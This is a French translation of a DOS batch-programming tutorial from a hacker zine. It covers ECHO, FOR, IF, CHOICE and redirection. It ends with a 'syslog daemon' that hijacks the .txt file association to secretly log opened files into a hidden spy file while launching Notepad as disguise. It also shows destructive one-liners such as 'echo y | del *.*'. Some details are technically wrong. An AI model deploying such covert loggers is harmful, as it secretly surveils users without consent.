---------------------------------------------------------------------------
Programmation Batch par Ankit Fadia (ankit@bol.net.in)
traduit par sirius_black (sirius_black@imel.org)
pour le BlackSun Research Facility (blacksun.box.sk)
Intégré dans LOTFREE#06 avec l'aimable autorisation du BSRF
---------------------------------------------------------------------------

La programmation  Batch n'est  rien  d'autre  que la version  Windows de la
pogrammation Shell sous unix.  Tout d'abord essayons de comprendre ce qu'il
se passe lorsque  nous tapons une commande DOS.  En gros DOS est un fichier
appelé command.com.
C'est ce fichier  (command.com)  qui gère toutes les commandes DOS que vous
passez  au  prompt DOS.  Commandes telles  que COPY,  DIR,  DEL,  etc.  Ces
commandes  sont intégrées au  fichier command.com  (on dit  que ce sont des
commandes  internes).  A l'opposé il y a des  commandes DOS externes telles
que FORMAT, UNDELETE, BACKUP, etc.

Qaund nous  donnons une commande DOS,  command.com  l'exécute immédiatement
( Commandes  Internes )  ou  appelle  un  programme  extérieur  ( Commandes
externes) puis revient au prompt.

Alors pourquoi j'aurais  besoin de programmer un fichier Batch ?  Imaginons
que vous devez exécuter  la même suite de commandes,  encore et encore pour
effectuer une  tache habituelle comme la  sauvegarde de fichiers importants
ou encore la suppressions des fichiers temporaires (*.tmp, *.bak, ~.* etc.)
Ce serais  bien  d'automatiser  ça non ?  Ce  serais  plus agrébale  et  on
gagnerais du temps.
C'est justement le rôle des fichiers Batch.
Les fichiers Batch sont au DOS ce que les Macros sont à Microsoft Office et
sont donc appelés quand on le souhaite et  autant de fois qu'on le souhaite
pour effectuer une suite de commandes prédéfinies.

Mais comment  je fais pour  créer un fichier  Batch ?  En fait les fichiers
Batch ne sont rien de plus que des fichiers textes  contenant des commandes
DOS.  N'importe quel éditeur de texte PUR pourra être utilisé (Notepad,  la
commande EDIT du DOS, UltraEdit...) mais pas Word ou Dreamweaver !!
Tout ce  dont vous  devez  vous  rappeller  est qu'un  fichier Batch  a une
extension .bat (point bat).
Pour exécuter un Batch,  rien de plus simple.  Par exemple si vous créez un
fichier nommé  prog.bat il  vous suffit  de l'appeller  de l'une  des  deux
façons suivantes :

C:\WINDOWS> prog.bat
ou
C:\WINDOWS> prog

Mais que  se passe t-il lorsque  l'on donne à exécuter  un fichier  Batch à
command.com ?
Quand command.com croise un fichier Batch, il passe en mode batch.  Dans ce
mode il lit les lignes du fichier les une après les autres.
En fait  il commence par ouvrir le  fichier Batch,  lit la  première ligne,
ferme le  fichier et exécute la  commande qu'il  a lu.  Puis il re-ouvre le
fichier, lit la seconde ligne et ainsi de suite.
Les fichiers Batch sont donc considérés comme des commandes DOS internes.

*************************
Hacking Truth : Quand vous  créez  un fichier Batch  ne lui  donnez pas  le
nom d'une  commande DOS.  Par exemple,  si vous créez un Batch avec  le nom
dir.bat et que vous l'exécutez à partir du prompt il ne se passera rien.
La raison  est que  quand command.com  rencontre  une commande,  il regarde
d'abord s'il s'agit d'une commande interne.
Si ce  n'est  pas  le cas  il cherche  un .com  ou  un  .exe  avec  le  nom
correspondant.
Toutes les commandes externes DOS  ont une extension com ou exe si bien que
DOS ne prend pas la peine de regarder si il existe un programme Batch.
*************************
Passons  maintenant  à   votre  premier  fichier  Batch.   Contrairement  à
d'habitude nous  n'allons pas faire un "Hello World"  mais un programme qui
exécutera un programme exe.  Tappez juste ce qui suit dans un fichier texte
vide et donnez lui l'extension .bat.

C:
cd windows
telnet

Analysons le code.  La première ligne dit à command.com d'aller au C: ,  la
seconde lui dit de changer pour le répertoire 'windows'.  La dernière ligne
demande l'exécution  du client  Telnet.  On  peux penser  que cet  appel ne
marche pas  car le nom complet  du client est  telnet.exe  mais command.com
rajoute actuellement l'extension .exe.
Normallement nous  n'avons pas  à changer le répertoire courant car  le rép
par défaut est C:\WINDOWS\. On peut donc écrire seulement :

telnet

Maintenant exécutons ce programme Batch et observons les résultats. Il nous
suffit de tapper dans la fenêtre DOS :

C:\WINDOWS> nom_du_fichier_batch

On voit :
C:\WINDOWS> telnet
Comme on a vu  DOS exécute la commande à notre place.
Effectivement Telnet apparait. Maintenant étudions les commandes Batch.

La commande REM

La commande  Batch la  plus simple est la  comande REM ou REMark.  Elle est
utilisée pour  mettre des commentaires dans le code  et donc le rendre plus
compréhensible pour  les lecteurs.  Cette commande ignore  tout ce qui suit
sur la même ligne. On peut donc modifier notre programme ainsi :

REM   Ce fichier Batch  est mon premier programme Batch  et lance mon outil
REM   de hacking préféré

telnet

Attention,  les Remark c'est bien,  en abuser  ça craint.  Ils ralentissent
l'exécution du programme alors il faut les utiliser avec modération.

La commande ECHO

Elle correspond à la fonction Print dans d'autre langages de programmation.
Elle permet  d'afficher  quelque  chose  à  l'écran.  On peut  par  exemple
afficher où  en est  le programme.  Il est  vrai que  les programmes  Batch
affichent toutes  les commandes exécutées mais ce n'est pas forcément assez
parlant pour l'utilisateur. Voici un exemple d'utilisation :

ECHO Ce fichier Batch efface tous les fichiers temporaires présents sur
ECHO votre system.
ECHO Nous allons dans WINDOWS\TEMP
cd windows\temp
ECHO On efface tous les fichiers indésirables
del *.tmp
ECHO Votre système est maintenant nettoyé

Regardons ce que donne l'exécution :

C:\WINDOWS> prog
C:\WINDOWS> ECHO Ce fichier Batch efface tous les fichiers temporaires
présents sur
Ce fichier batch efface tous les fichiers temporaires présents sur
C:\WINDOWS> ECHO votre system.
votre system.
C:\WINDOWS> ECHO Nous allons dans WINDOWS\TEMP
Nous allons dans WINDOWS\TEMP
C:\WINDOWS> cd windows\temp
Invalid directory
C:\WINDOWS> ECHO On efface tous les fichiers indésirables
On efface tous les fichiers indésirables
C:\WINDOWS> del *.tmp
C:\WINDOWS> ECHO Votre système est nettoyé
Votre system est nettoyé

Bon le répertoire n'est pas bon mais on s'en fout.  Ce qui est génant c'est
que les  commentaires ET les  commandes sont affichées.  La solution est de
mettre à la première ligne (on décale les autres) :

ECHO OFF

Si on relance le programme on obtiens :

C:\WINDOWS> ECHO OFF
Ce fichier Batch efface tous les fichiers temporaires présents sur
votre système.
Nous allons dans WINDOWS\TEMP
Invalid directory
On efface les fichiers indésirables
File not found
Votre system est nettoyé

Cool !!  Mais ça  affiche encore  'ECHO OFF' au début.  On va  utiliser une
astuce qui  permet de  cacher l'exécution  d'une  commande.  Pour  cela  il
suffit de précéder la commande par un '@'. On a donc la première ligne :

@ECHO OFF

On peut penser que pour afficher une ligne de vide il suffit de tapper ECHO
sans rien après mais cela affiche si ECHO est ON ou OFF.
Pour avoir une ligne vide il faut alors tapper :

ECHO.

On peut  bien sûr  alterner le  camouflage  / l'affichage des  commandes en
tappant ECHO ON ou ECHO OFF.

La commande PAUSE

Imaginons que  vous ayez créé un  fichier Batch  qui liste  le contenu d'un
répertoire avant  d'effectuer d'autres taches.  Ou encore avant  de deleter
tous les fichiers du répertoire vous devez laisser à l'utilisateur le temps
de réfléchir.  PAUSE,  le nom veut tout dire,  on l'utilise  pour suspendre
l'exécution d'un script.
Considérez le scénario suivant :

REM Ce programme Batch efface les fichiers *.doc dans le repertoire courant
REM mais il donne à l'utilisateur la possibilité de stopper l'exécution.
@ECHO OFF
ECHO WARNING : Cela va effacer tous les documents Microsoft Word.
ECHO Faites CTRL+C pour abandonner ou appyez sur une touche pour continuer.
PAUSE
DEL *.doc

Lorsque nous exécutons le programme nous obtenons l'affichage suivant :

C:\WINDOWS> a.bat
WARNING : Cela va effacer tous les documents Microsoft Word.
Faites CTRL+C pour abandonner ou appuyez sur une touche pour continuer.
Press any key to continue...

Ce programme  Batch demande à  l'utilisateur  s'il désire continuer  et lui
donne la possibilité  d'arrêter le processus.  Appuyer sur CTRL+C stoppe le
programme (CTRL+C et CTRL+Break donnent le même résultat).

^C

Terminate batch job (Y/N)? y

Vous retournez alors au prompt DOS.

*************************
HACKING TRUTH  :  Vous venez de  faire un fichier  Batch dans le répertoire
c:\name.  Quand  vous lancez  command.com  le  répertoire  par  défaut  est
c:\windows et si  vous voulez appeler le programme dans  c:\name vous devez
changer de  répertoire courant.  Là encore cela peut être  vite énervant et
vous fait perdre du temps.  C'est une bonne idée de  stocker tous ses Batch
dans le même répertoire.  Vous pouvez lancer n'importe quel programme et ce
de n'importe où du moment que le répertoire de stockage est dans le fichier
AUTOEXEC.BAT, ainsi DOS sait où allez chercher les programmes.
Il  vous suffit  d'ouvrir  c:\autoexec.bat  avec Notepad et de  rajouter la
déclaration PATH à la ligne suivante  (on suppose que que c:\name est votre
dossier de stockage) :

SET PATH=C:\WINDOWS;C:\WINDOWS\COMMAND;C:\NAME

Autoexec.bat est lancé à chaque démarrage et permet donc à DOS de savoir où
chercher nos fichiers Batch.
*************************

Les paramêtres : Passer des informations à un programme Batch

Pour rendre vos Batch vraiment intelligent vous avez besoin de leur fournir
des paramêtres  qui ne sont  rien de plus  que des  informations supplémen-
taires qui rendront vos programmes plus efficaces et plus flexibles.
Pour comprendre comment marchent les paramêtres, regardez ce script :

@ECHO OFF
ECHO Le premier paramêtre est %1
ECHO Le second est %2
ECHO Le troisième est %3

De toute évidence le script echo (affiche) des messages à l'écran, mais que
signifient les étranges symboles %1, %2 etc. ? Pour comprendre leur utilité
lançons le script sous DOS en lui passant des arguments :

C:\WINDOWS> nom_fichier_batch abc def ghi

Ce Batch génére le résultat suivant :

C:\WINDOWS> nom_fichier_batch abc def ghi
Le premier paramêtre est abc
Le second est def
Le troisième est ghi

La première ligne en sortie est produite par la ligne de code :

ECHO Le premier paramêtre est %1

Quand DOS rencontre le symbol %1,  il examine la commande  d'appel du Batch
et récupère  le premier mot  (argument)  après le  nom du fichier  batch et
l'utilise  à  la  place  de la  variable %1.  Bref %1  désigne  le  premier
argument,  %2  le  second  etc.  On appelle  ces  symboles  des  paramêtres
remplaçables car  il ne  s'agit pas  d'une  affectation mais  plutôt  d'une
liaison avec les  arguments sur la ligne de commande.  On peut dire que %1,
%2, %3... sont des références.

Quand on passe plus de paramêtres à un programme Batch que nécessaire,  les
paramêtres supplémentaires sont tous simplement ignorés.

Passons maintenant  à un  exemple  plus pratique  des paramêtres,  que l'on
pourrait réellement rencontrer.  Le script que nous allons étudier requiert
que  l'utilisateur  passe  le nom  des  fichiers  à  effacer  ainsi que  le
répertoire où ils se situent.

@ECHO OFF
CD\
CD %1
DEL %2

Nous pouvons appeler ce script à partir du prompt DOS de la façon suivante:

C:\WINDOWS> nom_fichier_batch WINDOWS\TEMP *.tmp

Pour un script donné  nous ne pouvons pas utiliser plus  de neuf paramêtres
remplaçables.  Donc il y a juste les références %1 à %9.  En réalité il y a
un dixième paramêtre : le paramêtre %0.  Ce derner contient le nom du batch
lui-même.

*************************
HACKING TRUTH  :  Vous  voulez  qu'au  lancement  d'un  programme  celui-ci
s'exécute puis quitte MS DOS pour retourner à Windows ? Pour cela il suffit
de rajouter la commande EXIT à la fin de votre script.
EXIT
*************************

la commande SHIFT

Il se peut que vous ayez besoin de plus de neuf paramêtres une fois  (on va
dire que oui).  Il est possible d'un manipuler plus de neuf en utilisant la
commande SHIFT :

@ECHO OFF
ECHO Le premier paramêtre est %1
ECHO.
SHIFT
ECHO Le second paramêtre est %1
ECHO.
SHIFT
ECHO Le troisième paramêtre est %1

Exécutons le programme et regardons ce qu'il se passe.

C:\WINDOWS> fichier_batch abc def ghi

Le premier paramêtre est abc

Le second paramêtre est def

Le troisième paramêtre est ghi

Comment ca marche  ?  Et bien la commande SHIFT décrémente la  position des
arguments de une position.  Ce qui signifie que après le premier SHIFT,  %1
devient def, %2 devient ghi et abc est détruit par DOS. Tous les paramêtres
se décalent donc d'une position vers le bas.

Les paramêtres normaux (%1, %2 etc)  et la commande SHIFT peuvent être très
utile si on les  utilise avec la condition IF pour vérifier  les paramêtres
passés par l'utilisateur.

La boucle FOR

La syntaxe de la boucle FOR est :

FOR %%PARAMÊTRE IN(série) DO command

Pas mal de  personnes changent d'optique  sur la programmation  Batch quand
ils rencontrent la syntaxe FOR. Je suis d'accord quelle peut sembler un peu
inquiétante,  mais ce  n'est pas  si difficile  que cela  en a l'air.  Nous
allons  les  différentes  parties de  la commande  FOR mais  avant étudions
l'exemple suivant :

@ECHO OFF
CLS
FOR %%A IN (abc, def, xyz) DO ECHO %%A

La commande CLS est utilisée pour 'vider' la console.  Elle efface tous les
caractères présents.
Dans  une boucle  FOR nous déclarons  une variable  (%%A ici)  et nous  lui
assignons les différentes valeurs d'une suite de valeurs prédéfinies  (abc,
def, ghi dans notre cas). Les affectations se font dans l'ordre donné.
A chaque affectation la boucle FOR exécute une commande (ici ECHO %%A).

La variable %%A  est celle qui reçoit  les différentes valeurs  au fûr et à
mesure que la boucle les croise (les valeurs stockées entre parenthèses).
Vous pouvez utiliser n'importe quel  caractère seul après les deux signes %
sauf les  caractères 0  à 9.  Nous utilisons  deux % car DOS  efface chaque
occurence d'un seul signe % dans un programme Batch.

Le IN (abc, def, ghi) est la liste traversée par la boucle FOR. La variable
%%A reçoit les différentes valeurs entre parenthèses à chaque passage de la
boucle.  Les  items de  la suite  (le terme  technique pour  l'ensemble des
valeurs entre parenthèses) peuvent être séparés par des virgules,  les deux
points ou simplement des espaces.

Pour chaque item de la suite  (le IN)  la boucle FOR exécute la commande se
trouvant après le mot clé DO (dans notre exemple la boucle fait ECHO %%A).

Si bien que lorsque nous lançons cet exemple nous obtenons :

abc
def
ghi

La  boucle  FOR  devient  vraiment  puissante  si  on  l'utilise  avec  des
paramêtres remplaçables. Par exemple dans le Batch suivant :

@ECHO OFF
ECHO.
ECHO Je vais effacer les fichiers suivants :
ECHO %1 %2
ECHO.
ECHO Faites CTRL+C pour annular le processus
PAUSE
FOR %%a IN (%1 %2) DO DEL %%a
ECHO Fichiers détruits. Mission accomplie.

A l'excéution on doti obtenir cela :

C:\WINDOWS> nom_batch *.tmp *.bak

Je vais effacer les fichiers suivants :
*.tmp *.bak

Faites CTRL+C pour annuler le processus
Press any key to continue...

Fichiers détruits. Mission accomplie.

-------------------------

IF : Les branchements conditionnels

La déclaration IF  est une commande très utile qui nous premettra de rendre
nos fichiers  Batch plus  intelligents et  plus utiles.  En utilisant cette
commande,  le programme peut exécuter telle ou telle tache en fonction d'un
paramêtre. IF ne permet pas seulement de vérifier les paramêtres, il permet
aussi  de  vérifier  l'existence  d'un  fichier.  Mais  avant tout  on peut
utiliser IF pour tester les variables.

Vérifier si un fichier existe ou non

La syntaxe de la commande IF pour cette tache est la suivante :

IF [NOT] EXIST nom_fichier commande

Ce sera plus clair après cet exemple :

IF EXIST c:\autoexec.bat ECHO Le fichier existe

Cette commande regarde si le fichier autoexec.bat existe ou non. Si tel est
le cas le script affiche la chaîne de caractères 'Le fichier existe'.  Dans
le cas où le fichier n'existe pas alors il ne se passe rien.

Il est  aussi possible  de mettre  une clause 'else',  c'est à  dire si  le
fichier existe  on fait  ce qui est prévu mais  si il n'existe  pas on fait
autre chose. Ceci peut être fait avec la commande GOTO. Etudions un exemple
pour rendre cela plus clair :

@ECHO OFF
IF EXIST c:\ankit.doc GOTO ANKIT
GOTO end
:ANKIT
ECHO ANKIT
:end

La déclaration IF dans ce code regarde si un fichier existe, c:\ankit.doc.
Si c'est  le cas alors  DOS saute  à  :ANKIT.  Dans le cas  contraire,  DOS
continue à la ligne suivante (GOTO end) qui le dirige vers :end.
Les :end et :ANKIT sont ce que l'on appelle des labels.

*************************
HACKING TRUTH  :  Nous pouvons vérifier l'existence de plusieurs fichiers à
la fois de la façon suivante :
IF EXIST c:\autoexec.bat IF EXIST c:\ankit.doc ECHO Les deux existent
*************************

Pour vérifier la non-existence d'un fichier, la syntaxe devient :

IF NOT EXIST nom_fichier commande

Par exemple,

IF NOT EXIST c:\ankit.doc ECHO Le fichier n'existe pas

*************************
HACKING TRUTH : Peut-on vérifier la présence d'un répertoire ? Non.
"IF EXIST c:\windows ECHO Le dossier existe"  ne marchera pas.  Dans ce cas
nous allons faire appel au périphérique NULL. En fait ce périphérique n'est
rien. Comprenez par là qui pointe vers le néant.  Chaque dossier possède un
fichier NULL (du moins DOS le croit). Si bien que pour vérifier l'existence
de c:\windows, nous tapperons simplement :

IF EXIST c:\windows\nul ECHO c:\windows existe.

De la même façon nous pouvont tester l'existence d'un lecteur ou d'un HD :

IF EXIST c:\io.sys ECHO Le disque c: est valide
*************************

Comparaison de chaines de caractères

La syntaxe est :

IF [NOT] chaine1==chaine2 commande

Maintenant faisons évoluer nos scripts  en leur faisant effectuer une tâche
en fonction  des paramêtres passés  par l'utilisateur.  Essayons ce boût de
code suivant :

@ECHO OFF
IF %1==cp GOTO COPY
GOTO DEL
:COPY
copy %2 a:
GOTO END
:DEL
del %2
:END

Cet exemple se  passe de commentaires.  Tout d'abord IF compare  le premier
paramêtre à 'cp'.  Si ils correspondent alors DOS saute au label COPY sinon
il continue sur le label :DEL.  Cet exemple fonctionne uniquement si le bon
nombre d'arguments a été passé.

Nous pouvons  modifier notre script pour qu'il vérifie qu'il y  ai au moins
un argument. Si ce n'est pas le cas alors il affichera un message d'erreur.

@ECHO OFF
IF "%1" == "" ECHO Mettez votre message ici

De la même façon nous pouvons vérifier l'existence du second paramêtre.  On
peut aussi utiliser la clause NOT pour les chaines de caractères.

La commande CHOICE

Avant de  vous apprendre  comment utiliser  la commande CHOICE,  vous devez
d'abord savoir  ce que sont les 'error levels'.  Les niveaux  d'erreur sont
générés par  les programmes  pour informer  de la  façon  dont ils  se sont
terminés ou  de la façon  dont on les a  obligé à se terminer.  Par exemple
losque nous stoppons un  programme avec CTRL+C  celui-ci renvoie un niveeau
d'erreur de 3.  Quand un programme se termine normalement  (avec succès) il
renvoie 0. Ces codes n'ont pas d'utilité en eux même mais combinés avec les
IF ERROR LEVEL et la commande CHOICE, ils s'avèrent très pratiques.

La commande CHOICE prend une lettre  ou une touche du clavier et renvoie le
code d'erreur  qui lui est associé.  La syntaxe générale  de cette commande
est :

CHOICE [chaîne] [/C:touches] [/S] [/N] [/T:touches, secondes]

La chaîne n'est rien d'autre que la phrase affichée lors du lancement de la
commande CHOICE.

Le /C:touches défini les différentes touches qui peuvent être préssées.  Si
cette option  n'est pas  utilisée  alors  les touches  Y/N sont  prises par
défaut.

Par exemple, la commande

CHOICE /C:A1T0

Défini A,  1,  T et 0 comme les  différentes touches  possibles.  Si durant
l'exécution,  l'utilisateur entre autre chose  que l'une des touches propo-
sées, il entendra un 'beep' et le programme  continuera de lui demander une
touche.

L'option /S rend les touches proposées par l'option /C sensibles à la casse
c'est à dire que la distinction  entre les majuscules et les minuscules est
activée. Par exemple si l'option /S est présente alors A et a sont considé-
rées comme différentes.

Si l'option  /N est  utilisé alors  les différentes touches  possibles sont
affichées entre parenthèses lors de l'exécution du programme.

/T:touche,secondes  permet de définir  quelle touche  est prise  par défaut
après un certain laps de temps écoulé. Par exemple :

CHOICE Choisissez votre navigateur /C:NI /T:I.5

affiche  "Choisissez votre navigateur  [N,I]"  et  si  aucune  touche n'est
pressée au bout de 5 secondes alors 'I' est choisie d'office.

Maintenant pour  vraiment combiner  la commande CHOICE avec la  commande IF
ERROR LEVEL, vous avez besoin de savoir ce que la commande CHOICE retourne.

La commande CHOICE est conçue pour retourner un niveau d'erreur en fonction
de la touche appuyée et de sa position dans l'option /C. Pour éclaircir les
choses, considérons l'exemple suivant :

CHOICE /C:AN12

Rappelez vous que  le code d'erreur retourné  dépends de la touche pressée.
Cela signifie que si la touche A est pressée alors le niveau d'erreur est 1
,  si la touche N est pressée  alors le code d'erreur 2 est retourné,  si 1
est pressé alors  le code d'erreur  est de 3 et si 2 est pressé,  le niveau
d'erreur sera 4.

Maintenant voyons comment fonctionne la commande IF ERROR LEVEL. La syntaxe
générale de cette commande est :

IF [NOT] ERRORLEVEL numéro commande

Cette  déclaration  évalue le  numéro du  niveau d'erreur  courant.  Si  la
condition est vérifiée alors la commande est effectuée. Par exemple :

IF ERRORLEVEL 3 ECHO Oui

La code ci-dessus affiche Oui si le code d'erreur courant est 3.
Le point important à retenir dans  la déclaration est que l'évaluation d'un
niveau d'erreur est vérifiée si le niveau d'erreur est supérieur ou égal au
nombre auquel on le compare. Exemple :

IF ERRORLEVEL 2 ECHO Oui

La condition est vérifiée si le niveau d'erreur est supérieur ou égal à 2.

Maintenant que  vous savez  manier les  commandes  CHOICE et  IF ERRORLEVEL
ensemble, vous n'aurez aucun mal à créer un menu pour un programme.
Voici un  script  Batch qui  demande à  l'utilisateur  quel  navigateur  il
souhaite lancer :

@ECHO OFF
ECHO.
ECHO.
ECHO Bienvenue au programme de sélection de navigateur
ECHO.
ECHO 1. Internet Explorer
ECHO 2. Netscape
ECHO X. Quitter
ECHO.
CHOICE "Choisissez un navigateur" /C:12x /N
IF ERRORLEVEL 3 GOTO END
IF ERRORLEVEL 2 start c:\progra~1\Netscape
IF ERRORLEVEL 1 start c:\progra~1\intern~1\iexplore.exe
:END

NOTE : Remarquez l'ordre dans lequel nous faisons les tests IF.

Redirection

Normallement la sortie est l'écran (le standart STDOUT) est l'entrée est le
clavier (STDIN).  Cela peut être  très ennuyant.  Vous pouvez tout  de même
rediriger à  la  fois  l'entrée  et  la sortie  vers autre  chose  que  les
périphériques I/O standards.

Pour envoyer  la  sortie  vers  autre  chose  que  l'écran  nous  utilisons
l'opérateur de  redirection de sortie  '>'  qui est couremment utilisé pour
enregistrer les résultats  d'une commande dans un fichier texte.  Imaginons
que vous désirez lire l'aide de la commande NET,  ce qui n'est pas facile à
l'écran car nous avons un espace de lecture restreint  et il est impossible
de remonter.  Pour éviter cela nous utilisons l'opérateur de redirection de
sortie afin de capturer les résultats de la commande dans un fichier texte.

C:\WINDOWS> net > xyz.net

Cette commande  exécute la commande NET  et enregistre  le résultat dans le
fichier xyz.txt.  Quand DOS croise cet opérateur,  il regarde si le fichier
existe  ou non.  Si oui  alors tout  ce qui se  trouve dans  le fichier est
effaçé et le résultat de la commande y est mis.  Si le fichier n'existe pas
DOS créé un nouveau fichier et enregistre le résultat dedans.

Supposons que vous voulez enregistrer  les résultats de plus d'une commande
dans le même fichier texte,  et vous voulez vous assurer  que les résultats
de chaque commande  ne sont pas effaçées  par la suivante.  Pour cela  vous
utilisez le symbole  de la double  redirection de sortie qui est le symbole
'>>'. Par exemple :

C:\WINDOWS> net >> xyz.txt

Cette commande  dit à  DOS d'exécuter  la commande  NET et  de  rajouter le
résultat à la fin u fichier xyz.txt si le fichier existe.

DOS ne permet pas  seulement la redirection vers das fichiers mais aussi la
redirection vers différents périphériques.

NOM DU PERIPHERIQUE              PERIPHERIQUE

AUX                              Périphérique auxiliaire (COM1)
CLOCK$                           Real Time Clock
COMn                             Port Série (COM1, COM2, COM3, COM4)
CON                              Console (Clavier, écran)
LPTn                             Port parrallèle (LPT1, LPT2, LPT3)
NUL                              Le périphérique NUL (néant)
PRN                              Imprimante

Dans le cas où vous désirez imprimer le résultat d'un listage de répertoire
alors vous pouvez tout simplement taper :

C:\WINDOWS> dir *.* > PRN

Le périphérique NUL  (néant)  est un peu difficile à  comprendre et demande
une attention  particulière.  Ce périphérique,  aussi connu sous  le nom de
'bit bucket'  signifie  litéralement  rien.  Son  utilité  est  de  pouvoir
supprimer les messages que le DOS envoit lors de l'achèvement d'une tâche.
Par exemple quand DOS copie avec réussite un fichier, il affiche le message
'1 fichier(s) copié(s)'.
Pour supprimer ce message nous pouvons faire appel au périphérique NUL.

C:\WINDOWS> copy fichier.txt copie.txt > NUL

Nous n'obtenons pas la message de réussite.

Redirection de l'entrée

De la  même façon  que nous  redirigons la  sortie,  nous pouvons rediriger
l'entrée.  Nous avons  recours au  symbole  '<' de redirection  de l'entrée
standard.  On l'utilise  couramment pour  envoyer le  contenu d'un  fichier
texte vers DOS.  Une utilisation  courante de  cet opérateur  est liée à la
commande MORE qui affiche du texte  au fûr et à mesure contrairement à TYPE
qui affiche tout le fichier en une fois  (ce qui rend impossible la lecture
des fichiers longs). Si bien que beaucoup de personnes envoient leurs longs
fichiers texte à la commande DOS de cette façon :

C:\WINDOWS> MORE < xyz.txt

Cette commande envoie le contenu du  fichier xyz.txt à la commande MORE qui
l'affiche page après page.  Une fois la première page lue  la commande MORE
affiche quelque chose come cela à l'écran :

--Encore--(2%)

il est  aussi possible d'envoyer les frappes de  touches à n'importe quelle
commande DOS  qui attend  des données  de  la  part de  l'utilisateur  pour
effectuer telle ou telle tâche. Il est aussi possible d'envoyer des frappes
de touches multiples.  Par exemple,  la commande FORMAT  demande en général
quatre entrées. Tout d'abord il faut tapper Entrée pour lancer la commande,
ensuite c'est le prompt  d'Insertion de Disque  puis celui du Nom de Volume
et pour terminer celui pour formater un autre disque.  En fait il y a trois
entrées utilisateurs  :  Entrée,  Entrée N et Entrée  (Entrée est la retour
chariot). Il est alors possible de mettre ces entrées dans un fichier Batch
et de les envoyer à la commande FORMAT de cette manière :

C:\WINDOWS> format a: < xyz.bat

PIPING (Tubage)

Le Piping (il n'y a pas vraiment de traduction Française alors on va parler
de  tubage)  est  une  fonction  qui  permet  de  combiner à  la  fois  les
redirections  d'entrée et de sortie.  Pour cela nous utilisons  l'opérateur
Pipe  qui a  pour  symbole  '|'.  Cette commande  capture la  sortie  d'une
commande et  l'envoie en  tant qu'entrée à une  autre commande.  Prenons un
exemple :  quand vous faites un  del *.*,  il vous faut confirmer  que vous
désirer  effacer  les  fichiers en pressant  la touche  y.  A la  place  de
demander l'interraction de l'utilisateur nous pouvons donc faire :

C:\WINDOWS> echo y | del *.*

Cette commande  parle d'elle même,  'y'  est envoyé à la  commande  del *.*
La programmation de fichiers Batch peut être très simple et vraiment utile.
Ce qui fera de vous  le Jedi de la  programmation Batch,  c'est la  connai-
ssance approprié des commandes DOS.  Je vous suggère de surfer sur Internet
ou d'acheter un livre sur les commandes DOS, c'est seulement de cette façon
que vous deviendrez un expert en la matière.

Créer son propre Démon Syslog (Syslog Daemon)

Nous pouvons  facilement combiner  la puissance  des programmes  Batch avec
l'interface modulaire  de Windows  dans l'objectif  de créer un  petit mais
efficace démon de surveillance du système (System Logging Daemon).
En gros le  Syslog Daemon peut  garder des traces des  fichiers qui ont été
ouverts  (toutes sortes de fichiers),  le temps durant  lequel ces fichiers
ont été ouverts et même faire  en sorte que notre démon poste tout cela sur
le web afin que l'admin système puisse tout surveiller à distance.

Suivez simplement les étapes pour fabriquer notre démon :

NOTE : Dans l'exemple suivant, je crée un démon de surveillance système qui
garde un oeil sur quels fichiers ont été ouverts par l'utilisateur.  Il est
très facile de configurer le type de fichier surveillé en lisant les étapes
suivantes.

1. ASSOCIER LES FICHIERS QUI DOIVENT ÊTRE SURVEILLES AU LOGGER

En vérité ce  n'est pas la  première étape  mais la plus  simple.  Comme je
viens de le dire nous allons associer un type de fichier (ici *.txt)  à nos
fichiers  Batch  qui contiendront  le  code  permettant  d'enregistrer  les
activités de l'utilisateur.  Vous pouvez  bien entendu  surveiller d'autres
fichiers,  la  procédure  est  similaire.  Revenons  à  nos  moutons,  nous
associons les fichiers .txt  à nos programmes Batch si bien que chaque fois
qu'un fichier texte est ouvert, le programme Batch est aussi exécuté.  Pour
cela nous devons changer le programme associé aux fichiers .txt.
Pour plus d'informations sur le changement d'association  fichier/programme
reportez vous à l'aide de Windows avec le mot clé "association". Pour faire
en sorte que  nos fichiers .txt soient associés  à notre fichier Batch nous
faisons simplement les manipulations suivantes :

Prenez n'importe quel fichier .txt  sur votre ordinateur et sélectionnez le
(un simple click gauche).  Maintenant laissez appuyé sur la touche SHIFT du
clavier et  faites  un  click  droit  sur le  fichier.  Le menu  apparaît ;
sélectionnez  l'option  'Ouvrir avec'.  Cela  va  ouvrir une  fenêtre  vous
proposant  le  programme  à utiliser pour  lire  le  fichier.  Cliquez  sur
'Choisir le programme...'. Localisez notre script Batch et sélectionnez le.
Assurez vous que la case  'Toujours utiliser le programme  sélectionné pour
ouvrir ce type de fichier' est cochée puis validez.
A partir de maintenant l'ouverture d'un fichier texte lançera notre fichier
Batch.
Il est bien évidemment possible de restaurer  l'association en recommencant
la manipulation et en sélectionnant Notepad.

2. CREER LE FICHIER DE LOG (LOG FILE)

Maintenant il  faut créer  un fichier  .txt  qui aura  le même  rôle  qu'un
fichier de log : enregistrer l'activité de l'utilisateur.
Ce fichier contiendra le nom du fichier  et l'heure à laquelle ce fichier a
été ouvert. Créez un nouveau fichier texte vide dans le même répertoire que
le fichier Batch.  Maintenant changeons les attributs  de ce fichier de log
afin de le rendre invisible. Nous utilisons la commande ATTRIB :

C:\WINDOWS> attrib xyz.txt +h

De cette façon  on s'assure qu'un  lamer ne saura  pas où se  trouve  notre
fichier espion.

3. CODER LE PROGRAMME BATCH DE SURVEILLANCE

La programmation  d'un tel programme  est vraiment simple.  Si vous avez lu
attentivement ce tutorial jusque là, vous ne devriez avoir aucune difficul-
té à  comprendre ce qui  va suivre.  Cela dit j'ai tout  de même inséré des
commentaires pour les débutants.

ECHO %1 >> xyz.txt /* On envoie le nom du fichier dans notre Log File */
notepad %1 /* Nous lançons l'éditeur de texte pour simuler un
            * fonctionnement normal. */

Ce script ne fait qu'enregistrer le nom du fichier  ouvert par notre lamer,
pour savoir  quand le  fichier a  été ouvert il  nous suffit  d'utiliser la
commande TIME.  Notez qu'après avoir exécuté  la commande TIME  nous devons
tapper la touche Entrée, ce qui sera gérer par notre Batch.

Bon vous êtes l'administrateur d'un système et vous êtes en vacances.  Vous
n'avez pas  d'accès  physique  au système  mais vous  disposez  d'un  accès
Internet.  Vous pouvez facilement  rendre le fichier de log  accessible par
Internet.  Vous pouvez aussi faire en sorte que cette partie administration
soit protégée par mot de passe.  Pour vous rendre facilement sur ce fichier
de log vous pouvez créer un fichier  .htm ou  .html qui pointera vers notre
fichier de log :

--fichier html--
<HTML>
<TITLE>Server Logs</TITLE>
<BODY>
< A HREF="xyz.txt">Cliquez ici pour lire les Logs du Serveur</A>
</BODY>
</HTML>
--fin fichier--

